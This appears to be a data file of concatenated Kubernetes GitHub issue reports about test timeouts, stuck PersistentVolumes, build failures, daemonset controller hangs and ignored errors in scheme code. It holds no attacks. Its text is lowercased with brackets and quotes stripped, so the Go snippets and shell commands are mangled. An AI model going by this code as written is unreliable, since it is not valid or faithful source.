pretty_name=\ ubuntu 18.04.2 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r    \r - kernel  e.g.  uname -a  :\r    \r linux node 4.19.34-041934-generic  201904051741 smp fri apr 5 21:43:27 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r    \r \r - docker version\r    \r client:\r  version:           18.09.4\r  api version:       1.39\r  go version:        go1.10.8\r  git commit:        d14af54266\r  built:             wed mar 27 18:35:44 2019\r  os/arch:           linux/amd64\r  experimental:      false\r \r server: docker engine - community\r  engine:\r   version:          18.09.4\r   api version:      1.39  minimum version 1.12 \r   go version:       go1.10.8\r   git commit:       d14af54\r   built:            wed mar 27 18:01:48 2019\r   os/arch:          linux/amd64\r   experimental:     false\r    \r \r - go version\r    \r go version go1.12.1 linux/amd64\r    \r \r  

which jobs are failing  :\r https://testgrid.k8s.io/google-windows windows-gce&width=20&show-stale-tests=\r https://testgrid.k8s.io/google-windows windows-prototype&width=20&show-stale-tests=\r https://testgrid.k8s.io/google-windows windows-gce-1.14&width=20&show-stale-tests=\r \r these test jobs started timing out on 04-15. we believe this is due to a change in the windows image that is being used for the windows vms; yesterday the default image changed from  windows-server-1809-dc-core-for-containers-v20190312  to  windows-server-1809-dc-core-for-containers-v20190411 .\r \r note that the failure in the windows-gce job was obfuscated by a docker api version problem which was fixed by https://github.com/kubernetes/kubernetes/pull/76621.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r on 1.14.1 when i delete local volume for statefulsets ,then the persistentvolume status it is terminating all the time\r   what you expected to happen  :\r it should be deleted as soon as possible\r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r 1.14.1 the local volume could work for statefulsets ?\r   environment  :\r - kubernetes version  use  kubectl version  v1.14.1 :\r - cloud provider or hardware configuration:\r - os  centos linux  :\r - kernel  linux centos7kvm 3.10.0-957.el7.x86_64 :\r - install tools:kubeadm\r - network plugin and version  flannel :\r - others:\r \r yesterday\r kubectl get pv\r pv-web           5gi        rwo            delete           terminating   default/pv-web-web-0    nginx                   40m\r \r now \r kubectl get pv\r pv-web           5gi        rwo            delete           terminating   default/pv-web-web-0    nginx                   7h57m\r \r \r name:              pv-web\r labels:            <none>\r annotations:       pv.kubernetes.io/bound-by-controller: yes\r finalizers:         kubernetes.io/pv-protection \r storageclass:      nginx\r status:            terminating  lasts 14m \r claim:             default/pv-web-web-0\r reclaim policy:    delete\r access modes:      rwo\r volumemode:        filesystem\r capacity:          5gi\r node affinity:     \r   required terms:  \r     term 0:        kubernetes.io/hostname in  centos7kvm \r message:           \r source:\r     type:  localvolume  a persistent volume backed by local storage on a node \r     path:  /mnt/nginx\r events:    <none>\r

there is quite a number of duplicated code in different node status related test functions, such as mock cadvisor intialization, expected node status etc.  it should be cleaned up. :

the isolation and permission that provides user namespaces make imposible to build kubernetes.  steps to reproduce: 1  run your docker daemon with          execstart=/usr/bin/docker daemon --userns-remap=default -h fd:// 2  check your /etc/subuid     cat subuid     dockremap:100000:65536 3  check your /etc/subgid     cat subgid      dockremap:100000:65536 4  check you are in docker group 5  clone kubernetes     git clone ........ 6  export kubernetes_provider=libvirt-coreos 7  make release-skip-tests  output:  +++  0611 10:58:55  placing binaries mkdir: cannot create directory '/go/src/k8s.io/kubernetes/_output/dockerized/bin/linux': permission denied !!! error in /go/src/k8s.io/kubernetes/hack/lib/golang.sh:384   'mkdir -p \ ${kube_output_binpath}/${platform}\ ' exited with status 1 call stack:   1: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:384 kube::golang::place_bins ...    2: hack/build-cross.sh:36 main ...  exiting with status 1 !!! error in build/../build/common.sh:616   '\ ${docker_cmd @ }\  \ $@\ ' exited with status 1 call stack:   1: build/../build/common.sh:616 kube::build::run_build_command ...    2: build/release.sh:33 main ...  exiting with status 1 makefile:158: fallo en las instrucciones para el objetivo 'release-skip-tests' make:   \\   release-skip-tests  error 1  proposed solution:  it seems you tried to copy from inside a container to outside and it is imposible because of the file permissions.  it is better to use \ docker cp container\  from outside because we are in docker group.  thanks for your work. :smile:

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :  no.    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :    skydns, dns, docs    is this a bug report or feature request?    choose one :  bug report -- documentation    kubernetes version    use  kubectl version  :  master branch    environment  : -   cloud provider or hardware configuration  :  none, local setup via vagrant -   os    e.g. from /etc/os-release :  coreos 1122.0.233 -   kernel    e.g.  uname -a  :  linux c40 4.7.0-coreos-r1 -   install tools  :  vagrant + ansible running on a container that provisions each host to a given state  master or minion   kubernetes running using hyperkube in a container -   others  :    what happened  :  there is no way to run skydns that i can find in the docs to specify an ip address or host of the api server that would work if the api server goes away and it started up on another host.   the documentation has a couple issues.  the broken link in https://github.com/kubernetes/kubernetes/tree/master/build/kube-dns:  \ see the example files  replicationcontroller and service ,\    the hyperlink to \ replicationcontroller\  is broken and goes to https://github.com/kubernetes/kubernetes/blob/master/cluster/addns/dns/skydns-rc.yaml.in   and should go to  \ addons\  instead of \ addns\  .   https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/dns/skydns-rc.yaml.in  i tried to fix this in the source but can't find where \ addns\  is coming from in the markdown conversion.  secondly, in the section \ how does it work\ , starting with \ skydns depends on etcd for what to serv\ , the paragraph is lined out.  i now understand after looking at the 1.4 branch that dns has been completely reworked to not use kube2sky, however, this is confusing if someone is just using the master branch.    what you expected to happen  :    how to reproduce it    as minimally and precisely as possible :  view https://github.com/kubernetes/kubernetes/tree/master/build/kube-dns    anything else do we need to know  :  master branch.

the affinity fields are nesting a bunch of levels deep making it really hard to hand-craft a json/yaml file with configured affinity for a controller that this command is warranted.\r \r @kubernetes/sig-scheduling-misc @kubernetes/sig-cli-misc

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : followed discussion  in  33245 , and @janetkuo though it's better to file a new bug\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  :\r    \r k version\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.3\ , gitcommit:\ 4957b090e9a4f6a68b4a40375408fdc74a212260\ , gittreestate:\ clean\ , builddate:\ 2016-10-16t06:36:33z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4+\ , gitversion:\ v1.4.3-49+1ba134777feea0\ , gitcommit:\ 1ba134777feea009f9c8492815be6cfc8e4cf750\ , gittreestate:\ clean\ , builddate:\ 2017-04-21t01:26:22z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : \r    \r admin@ip-10-128-0-9:~$ cat /etc/os-release \r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r -   kernel    e.g.  uname -a  :\r    \r admin@ip-10-128-0-9:~$ uname -a\r linux ip-10-128-0-9 4.4.41-k8s  1 smp mon jan 9 15:34:39 utc 2017 x86_64 gnu/linux\r    \r -   install tools  : kube-up  for setting up nodes only \r -   others  :\r \r \r   what happened  :\r \r scenario: we need to upgrade host package and kubernetes, so we:\r 1. teared down all our kubernetes components, including daemonset\r 2. terminated master\r 3. created new master with exactly same configuration: userdata  except some package update information , network, storage, storage mapping, etc.\r \r after new master is up, looks like daemonset controller is not even running: it keeps on waiting for pods controller to sync. the old daemonset has messed up node selector but there is no pods, so we cannot create the daemonset using same template again.\r \r    \r admin@ip-10-16-3-9:~$ grep -nr \ daemoncontroller.go\  /var/log/kube-controller-manager.log\r 2294:i0601 02:47:30.289591       7 daemoncontroller.go:235  starting daemon sets controller manager\r 2352:i0601 02:47:30.402988       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/node-exporter\r 2353:i0601 02:47:30.403022       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/volume-mounts-fixer\r 2428:i0601 02:47:30.505066       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/volume-mounts-fixer\r 2429:i0601 02:47:30.505107       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/node-exporter\r 2483:i0601 02:47:30.609750       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/volume-mounts-fixer\r 2484:i0601 02:47:30.609774       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/node-exporter\r 2554:i0601 02:47:30.709821       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/volume-mounts-fixer\r 2556:i0601 02:47:30.713718       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/node-exporter\r 2585:i0601 02:47:30.823060       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/volume-mounts-fixer\r 2586:i0601 02:47:30.823116       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/node-exporter\r 2607:i0601 02:47:30.925286       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/volume-mounts-fixer\r 2608:i0601 02:47:30.925325       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/node-exporter\r 2629:i0601 02:47:31.026989       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/volume-mounts-fixer\r 2630:i0601 02:47:31.027035       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/node-exporter\r 2636:i0601 02:47:31.153362       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/node-exporter\r 2640:i0601 02:47:31.153375       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/volume-mounts-fixer\r 2669:i0601 02:47:31.276009       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/node-exporter\r 2676:i0601 02:47:31.297028       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/volume-mounts-fixer\r 2708:i0601 02:47:31.445570       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/volume-mounts-fixer\r 2713:i0601 02:47:31.445685       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/node-exporter\r 2739:i0601 02:47:31.548948       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/volume-mounts-fixer\r 2752:i0601 02:47:31.663737       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/node-exporter\r 2763:i0601 02:47:31.680314       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/volume-mounts-fixer\r 2776:i0601 02:47:31.795928       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/node-exporter\r 2787:i0601 02:47:31.805898       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/volume-mounts-fixer\r 2805:i0601 02:47:31.921769       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/node-exporter\r 2821:i0601 02:47:31.931862       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/volume-mounts-fixer\r 2840:i0601 02:47:32.044025       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/node-exporter\r 2853:i0601 02:47:32.048735       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/volume-mounts-fixer\r 2906:i0601 02:47:32.153786       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/node-exporter\r 2919:i0601 02:47:32.154174       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/volume-mounts-fixer\r 2963:i0601 02:47:32.334012       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/volume-mounts-fixer\r 2967:i0601 02:47:32.334212       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/node-exporter\r 3012:i0601 02:47:32.434262       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/volume-mounts-fixer\r 3015:i0601 02:47:32.434442       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/node-exporter\r 3066:i0601 02:47:32.534925       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/node-exporter\r 3071:i0601 02:47:32.534999       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/volume-mounts-fixer\r 3132:i0601 02:47:32.654638       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/node-exporter\r 3136:i0601 02:47:32.654873       7 daemoncontroller.go:631  waiting for pods controller to sync, requeuing ds kube-system/volume-mounts-fixer\r admin@ip-10-16-3-9:~$ \r admin@ip-10-16-3-9:~$ uptime\r  04:29:09 up  1:43,  1 user,  load average: 3.75, 2.86, 2.38\r admin@ip-10-16-3-9:~$ \r \r    \r \r \r actually, not only daemonset controller: all controllers look like to be waiting for pod controller to sync.\r \r \r \r as for daemonset: node selector is messed up, but all pods are gone:\r    \r k get daemonset node-exporter -o yaml\r apiversion: extensions/v1beta1\r kind: daemonset\r metadata:\r   annotations:\r     prometheus.io/port: \ 9100\ \r     prometheus.io/scrape: \ true\ \r     scheduler.alpha.kubernetes.io/critical-pod: \ \ \r     scheduler.alpha.kubernetes.io/tolerations: ' {\ key\ :\ criticaladdonsonly\ , \ operator\ :\ exists\ } '\r   creationtimestamp: 2017-05-31t01:15:45z\r   generation: 2\r   labels:\r     app: node-exporter\r     role: axcritical\r     tier: platform\r   name: node-exporter\r   namespace: kube-system\r   resourceversion: \ 52977442\ \r   selflink: /apis/extensions/v1beta1/namespaces/kube-system/daemonsets/node-exporter\r   uid: abf7a662-459e-11e7-89f8-0637a9c18476\r spec:\r   selector:\r     matchlabels:\r       app: node-exporter\r       role: axcritical\r       tier: platform\r   template:\r     metadata:\r       annotations:\r         prometheus.io/port: \ 9100\ \r         prometheus.io/scrape: \ true\ \r       creationtimestamp: null\r       labels:\r         app: node-exporter\r         role: axcritical\r         tier: platform\r     spec:\r       containers:\r       - command:\r         - /run.sh\r         env:\r         - name: cpu_mult\r           value: \ 4.0\ \r         - name: mem_mult\r           value: \ 4.0\ \r         - name: disk_mult\r           value: \ 4.0\ \r         - name: ax_node_name\r           valuefrom:\r             fieldref:\r               apiversion: v1\r               fieldpath: spec.nodename\r         - name: ax_pod_name\r           valuefrom:\r             fieldref:\r               apiversion: v1\r               fieldpath: metadata.name\r         - name: ax_pod_namespace\r           valuefrom:\r             fieldref:\r               apiversion: v1\r               fieldpath: metadata.namespace\r         - name: ax_pod_ip\r           valuefrom:\r             fieldref:\r               apiversion: v1\r               fieldpath: status.podip\r         image: get.applatix.io/axsys/node-exporter:2.1.1-6f8ad17\r         imagepullpolicy: ifnotpresent\r         name: node-exporter\r         ports:\r         - containerport: 9100\r           hostport: 9100\r           protocol: tcp\r         resources:\r           limits:\r             cpu: 200m\r             memory: 400mi\r           requests:\r             cpu: 100m\r             memory: 200mi\r         securitycontext:\r           privileged: true\r         terminationmessagepath: /dev/termination-log\r         volumemounts:\r         - mountpath: /host/proc\r           name: proc-fs\r         - mountpath: /host/sys\r           name: sys-fs\r         - mountpath: /rootfs\r           name: root-fs\r       dnspolicy: clusterfirst\r       hostnetwork: true\r       hostpid: true\r       imagepullsecrets:\r       - name: applatix-registry\r       nodeselector:\r         c413efb8-4670-11e7-8842-0242ac110002: c413f0ea-4670-11e7-8842-0242ac110002\r       restartpolicy: always\r       securitycontext: {}\r       terminationgraceperiodseconds: 30\r       volumes:\r       - hostpath:\r           path: /proc\r         name: proc-fs\r       - hostpath:\r           path: /sys\r         name: sys-fs\r       - hostpath:\r           path: /\r         name: root-fs\r status:\r   currentnumberscheduled: 0\r   desirednumberscheduled: 0\r   numbermisscheduled: 0\r    \r \r \r \r manual workaround for us: do another\r  kubectl delete daemonset <affected_daemon_set> \r will solve the problem, i.e. i want to create using same daemonset template again\r \r \r   what you expected to happen  :\r when the first  kubectl delete daemonset xxx  returned there should be no hanging daemonset object\r \r   how to reproduce it    as minimally and precisely as possible :\r cannot reproduce it stably, but here are scenarios that i actually observed the problem\r  scenario 1:\r we need to upgrade host package and kubernetes, so we:\r 1. teared down all our kubernetes components, including daemonset  this could already cause problem \r 2. terminated master\r 3. created new master with exactly same configuration: userdata  except some package update information , network, storage, storage mapping, etc.\r \r scenario 2:\r not an upgrade, but simple  stop   aws's stop instance action, not terminating instance , and restart master, with same tear down procedure as scenario 1 before stop.\r \r   anything else we need to know  :\r n/a\r \r @janetkuo  @caesarxuchao @deads2k

running  make bazel-build   on master , gives the error  ln: failed to create symbolic link '/tmp/gopath/src/k8s.io/kubernetes': file exists :\r \r \r    \r export gopath=/tmp/gopath\r export go_workspace=${gopath}/src/k8s.io/kubernetes\r mkdir -p ${go_workspace%/ }\r ln -s $ pwd / ${go_workspace}\r if    ! -e ${go_workspace}/external   ; then ln -s $ p...' failed: bash failed: error executing command \r    exec env - \\\r     goarch=amd64 \\\r     goos=linux \\\r     goroot=/home/justinsb/.cache/bazel/_bazel_justinsb/53419f5d51785321b16f924d43766350/external/go1.8.3.linux-amd64 \\\r   /bin/bash -c 'set -e\r export gopath=/tmp/gopath\r export go_workspace=${gopath}/src/k8s.io/kubernetes\r mkdir -p ${go_workspace%/ }\r ln -s $ pwd / ${go_workspace}\r if    ! -e ${go_workspace}/external   ; then ln -s $ pwd /external/ ${go_workspace}/; fi\r if    ! -e ${go_workspace}/bazel-out   ; then ln -s $ pwd /bazel-out/ ${go_workspace}/; fi\r export gengopath=/tmp/gengopath\r export gengo_workspace=${gengopath}/src/k8s.io/kubernetes\r mkdir -p ${gengo_workspace%/ }\r ln -s $ pwd /bazel-out/local-fastbuild/genfiles ${gengo_workspace}\r export gopath=${gopath}:${gengopath}\r cd ${go_workspace}\r bazel-out/host/bin/vendor/k8s.io/kube-gen/cmd/set-gen/set-gen     --input-dirs ./vendor/k8s.io/apimachinery/pkg/util/sets/types     --output-base $ dirname $ dirname bazel-out/local-fastbuild/genfiles/vendor/k8s.io/apimachinery/pkg/util/sets/byte.go       --go-header-file hack/boilerplate/boilerplate.go.txt     --output-package sets' \r \r use --sandbox_debug to see verbose messages from the sandbox.\r ln: failed to create symbolic link '/tmp/gopath/src/k8s.io/kubernetes': file exists\r use --strategy=gogenrule=standalone to disable sandboxing for the failing actions.\r info: elapsed time: 3.383s, critical path: 0.65s\r makefile:527: recipe for target 'bazel-build' failed\r make:      bazel-build  error 1\r    \r \r \r bazel version 0.5.2:\r    \r build label: 0.5.2\r build target: bazel-out/local-fastbuild/bin/src/main/java/com/google/devtools/build/lib/bazel/bazelserver_deploy.jar\r build time: tue jun 27 13:27:03 2017  1498570023 \r build timestamp: 1498570023\r build timestamp as int: 1498570023\r    \r \r cc @kubernetes/sig-release-bugs

local build of k8s on macos ->\r    \r uname -a\r darwin macbook-pro.local 16.7.0 darwin kernel version 16.7.0: thu jun 15 17:36:27 pdt 2017; root:xnu-3789.70.16~2/release_x86_64 x86_64\r    \r \r    \r    \r \r and, following recipe at -> https://kubernetes.io/docs/getting-started-guides/binary_release/\r \r    \r git clone https://github.com/kubernetes/kubernetes.git\r cd kubernetes\r make release\r    \r \r build fails  reproducible :\r    \r make release\r ...snip...\r ~/test/e2e/generated\r +++  0816 10:17:48  building go targets for {linux/amd64 linux/arm linux/arm64 linux/s390x linux/ppc64le} in parallel  output will appear in a burst when complete :\r     cmd/kube-proxy\r     cmd/kube-apiserver\r     cmd/kube-controller-manager\r     cmd/cloud-controller-manager\r     cmd/kubelet\r     cmd/kubeadm\r     cmd/hyperkube\r     vendor/k8s.io/kube-aggregator\r     vendor/k8s.io/apiextensions-apiserver\r     plugin/cmd/kube-scheduler\r makefile:419: recipe for target 'cross' failed\r make:      cross  terminated\r erro 0224  error waiting for container: eof             \r !!!  0816 10:20:32  call tree:\r !!!  0816 10:20:32   1: build/../build/common.sh:520 kube::build::run_build_command_ex ... \r !!!  0816 10:20:32   2: build/release.sh:36 kube::build::run_build_command ... \r !!! error in build/../build/common.sh:528\r   error in build/../build/common.sh:528. '  i<4-1  ' exited with status 125\r call stack:\r   1: build/../build/common.sh:528 kube::build::run_build_command_ex ... \r   2: build/../build/common.sh:520 kube::build::run_build_command ... \r   3: build/release.sh:36 main ... \r exiting with status 1\r make:      release  error 1\r    \r \r    \r docker info\r containers: 2\r  running: 0\r  paused: 0\r  stopped: 2\r images: 94\r server version: 17.06.0-ce\r storage driver: overlay2\r  backing filesystem: extfs\r  supports d_type: true\r  native overlay diff: true\r logging driver: json-file\r cgroup driver: cgroupfs\r plugins: \r  volume: local\r  network: bridge host ipvlan macvlan null overlay\r  log: awslogs fluentd gcplogs gelf journald json-file logentries splunk syslog\r swarm: inactive\r runtimes: runc\r default runtime: runc\r init binary: docker-init\r containerd version: cfb82a876ecc11b5ca0977d1733adbe58599088a\r runc version: 2d41c047c83e09a6d61d464906feb2a2f3c52aa4\r init version: 949e6fa\r security options:\r  seccomp\r   profile: default\r kernel version: 4.9.36-moby\r operating system: alpine linux v3.5\r ostype: linux\r architecture: x86_64\r cpus: 6\r total memory: 11.71gib\r name: moby\r id: ym7h:yxoy:qmf2:hs7f:jv7x:r4hg:bdft:gppq:bdrq:znwd:24ay:lmo7\r docker root dir: /var/lib/docker\r debug mode  client : false\r debug mode  server : true\r  file descriptors: 17\r  goroutines: 29\r  system time: 2017-08-16t02:43:16.378698848z\r  eventslisteners: 1\r no proxy:  .local, 169.254/16\r registry: https://index.docker.io/v1/\r experimental: true\r insecure registries:\r  192.168.99.100\r  127.0.0.0/8\r live restore enabled: false\r    \r \r    \r docker ps -a\r container id        image                                    command                  created             status                        ports               names\r 7f149376d066        kube-build:build-d2d8038881-5-v1.8.3-2   \ make cross\              26 minutes ago      exited  255  36 seconds ago                       kube-build-d2d8038881-5-v1.8.3-2\r 1ba933a01bf5        kube-build:build-d2d8038881-5-v1.8.3-2   \ chown -r 502:20 /...\    26 minutes ago      exited  0  26 minutes ago                         kube-build-data-d2d8038881-5-v1.8.3-2\r    \r \r context:\r \r    \r git status\r on branch master\r your branch is up-to-date with 'origin/master'.\r nothing to commit, working tree clean\r    \r \r    \r git log | head\r commit df8287c91d2d2bf09db34c9a6f89123cf9f921c7\r merge: 4d409a4d9e 85db3ff08e\r author: kubernetes submit queue <k8s-merge-robot@users.noreply.github.com>\r date:   tue aug 15 13:11:22 2017 -0700\r \r     merge pull request  47998 from danehans/kubeadm_boot\r     \r     automatic merge from submit-queue\r     \r     adds ipv6 test case to kubeadm bootstrap\r    \r \r also tried  git checkout release-1.7  with similar build failed result as follows:\r \r    \r go build k8s.io/kubernetes/cmd/kubelet: /usr/local/go/pkg/tool/linux_amd64/link: signal: killed\r !!!  0816 11:20:52  call tree:\r !!!  0816 11:20:52   1: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:690 kube::golang::build_binaries_for_platform ... \r !!!  0816 11:20:52   2: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r !!! error in /go/src/k8s.io/kubernetes/hack/lib/golang.sh:525\r   error in /go/src/k8s.io/kubernetes/hack/lib/golang.sh:525. '  i<4-1  ' exited with status 1\r call stack:\r   1: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:525 kube::golang::build_binaries_for_platform ... \r   2: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:690 kube::golang::build_binaries ... \r   3: hack/make-rules/build.sh:27 main ... \r exiting with status 1\r +++  0816 10:56:13  linux/s390x: go build started\r env for linux/s390x: goos=linux goarch=s390x goroot=/usr/local/go cgo_enabled=1 cc=s390x-linux-gnu-gcc\r +++  0816 11:30:17  linux/s390x: go build finished\r +++  0816 10:56:13  linux/ppc64le: go build started\r env for linux/ppc64le: goos=linux goarch=ppc64le goroot=/usr/local/go cgo_enabled=1 cc=powerpc64le-linux-gnu-gcc\r go build k8s.io/kubernetes/cmd/kubelet: /usr/local/go/pkg/tool/linux_amd64/link: signal: killed\r !!!  0816 11:20:52  call tree:\r !!!  0816 11:20:52   1: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:690 kube::golang::build_binaries_for_platform ... \r !!!  0816 11:20:52   2: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r !!! error in /go/src/k8s.io/kubernetes/hack/lib/golang.sh:525\r   error in /go/src/k8s.io/kubernetes/hack/lib/golang.sh:525. '  i<4-1  ' exited with status 1\r call stack:\r   1: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:525 kube::golang::build_binaries_for_platform ... \r   2: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:690 kube::golang::build_binaries ... \r   3: hack/make-rules/build.sh:27 main ... \r exiting with status 1\r !!!  0816 11:30:17  call tree:\r !!!  0816 11:30:17   1: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r !!! error in /go/src/k8s.io/kubernetes/hack/lib/golang.sh:615\r   error in /go/src/k8s.io/kubernetes/hack/lib/golang.sh:615. '  i<3-1  ' exited with status 2\r call stack:\r   1: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:615 kube::golang::build_binaries ... \r   2: hack/make-rules/build.sh:27 main ... \r exiting with status 1\r makefile:89: recipe for target 'all' failed\r make 1 :      all  error 1\r !!! error in hack/make-rules/cross.sh:30\r   error in hack/make-rules/cross.sh:30. 'make all what=\ ${kube_server_targets   }\  kube_build_platforms=\ ${kube_server_platforms   }\ ' exited with status 2\r call stack:\r   1: hack/make-rules/cross.sh:30 main ... \r exiting with status 1\r makefile:401: recipe for target 'cross' failed\r make:      cross  error 1\r !!!  0816 11:31:25  call tree:\r !!!  0816 11:31:25   1: build/../build/common.sh:519 kube::build::run_build_command_ex ... \r !!!  0816 11:31:25   2: build/release.sh:36 kube::build::run_build_command ... \r !!! error in build/../build/common.sh:527\r   error in build/../build/common.sh:527. '  i<4-1  ' exited with status 2\r call stack:\r   1: build/../build/common.sh:527 kube::build::run_build_command_ex ... \r   2: build/../build/common.sh:519 kube::build::run_build_command ... \r   3: build/release.sh:36 main ... \r exiting with status 1\r make:      release  error 1\r    \r

what happened  :\r as an example  k8s.io/apimachinery/pkg/apis/meta/v1/register.go  -  addtogroupversion   :\r    go\r // addtogroupversion registers common meta types into schemas.\r func addtogroupversion scheme  runtime.scheme, groupversion schema.groupversion  {\r \tscheme.addknowntypewithname groupversion.withkind watcheventkind , &watchevent{} \r \tscheme.addknowntypewithname \r \t\tschema.groupversion{group: groupversion.group, version: runtime.apiversioninternal}.withkind watcheventkind ,\r \t\t&internalevent{},\r \t \r \t// supports legacy code paths, most callers should use metav1.parametercodec for now\r \tscheme.addknowntypes groupversion,\r \t\t&listoptions{},\r \t\t&exportoptions{},\r \t\t&getoptions{},\r \t\t&deleteoptions{},\r \t \r // error result is ignored below\r \tscheme.addconversionfuncs \r \t\tconvert_versioned_event_to_watch_event,\r \t\tconvert_versioned_internalevent_to_versioned_event,\r \t\tconvert_watch_event_to_versioned_event,\r \t\tconvert_versioned_event_to_versioned_internalevent,\r \t \r \r \t// register unversioned types under their own special group\r \tscheme.addunversionedtypes unversioned,\r \t\t&status{},\r \t\t&apiversions{},\r \t\t&apigrouplist{},\r \t\t&apigroup{},\r \t\t&apiresourcelist{},\r \t \r \r \t// register manually. this usually goes through the schemebuilder, which we cannot use here.\r // error result is ignored below\r \tscheme.addgenerateddeepcopyfuncs getgenerateddeepcopyfuncs  ... \r // error result is ignored below\r \taddconversionfuncs scheme \r // error result is ignored below\r \tregisterdefaults scheme \r }\r    \r the function should probably propagate that error as a return value.\r \r another example is  init    in the same file:\r    go\r func init   {\r \tscheme.addunversionedtypes schemegroupversion,\r \t\t&listoptions{},\r \t\t&exportoptions{},\r \t\t&getoptions{},\r \t\t&deleteoptions{},\r \t \r \r \t// register manually. this usually goes through the schemebuilder, which we cannot use here.\r // error result is ignored below\r \tscheme.addgenerateddeepcopyfuncs getgenerateddeepcopyfuncs  ... \r // error result is ignored below\r \tregisterdefaults scheme \r }\r    \r  init    should probably panic on error.\r \r client-gen produces scheme construction code that also misses error handling. for example:\r  staging/src/k8s.io/client-go/kubernetes/scheme/register.go :\r    go\r // after this, rawextensions in kubernetes types will serialize kube-aggregator types\r // correctly.\r func addtoscheme scheme  runtime.scheme  {\r // each function call below retuns an error that is ignored\r \tadmissionregistrationv1alpha1.addtoscheme scheme \r \tappsv1beta1.addtoscheme scheme \r \tappsv1beta2.addtoscheme scheme \r \tauthenticationv1.addtoscheme scheme \r \tauthenticationv1beta1.addtoscheme scheme \r \tauthorizationv1.addtoscheme scheme \r \tauthorizationv1beta1.addtoscheme scheme \r \tautoscalingv1.addtoscheme scheme \r \tautoscalingv2alpha1.addtoscheme scheme \r \tbatchv1.addtoscheme scheme \r \tbatchv1beta1.addtoscheme scheme \r \tbatchv2alpha1.addtoscheme scheme \r \tcertificatesv1beta1.addtoscheme scheme \r 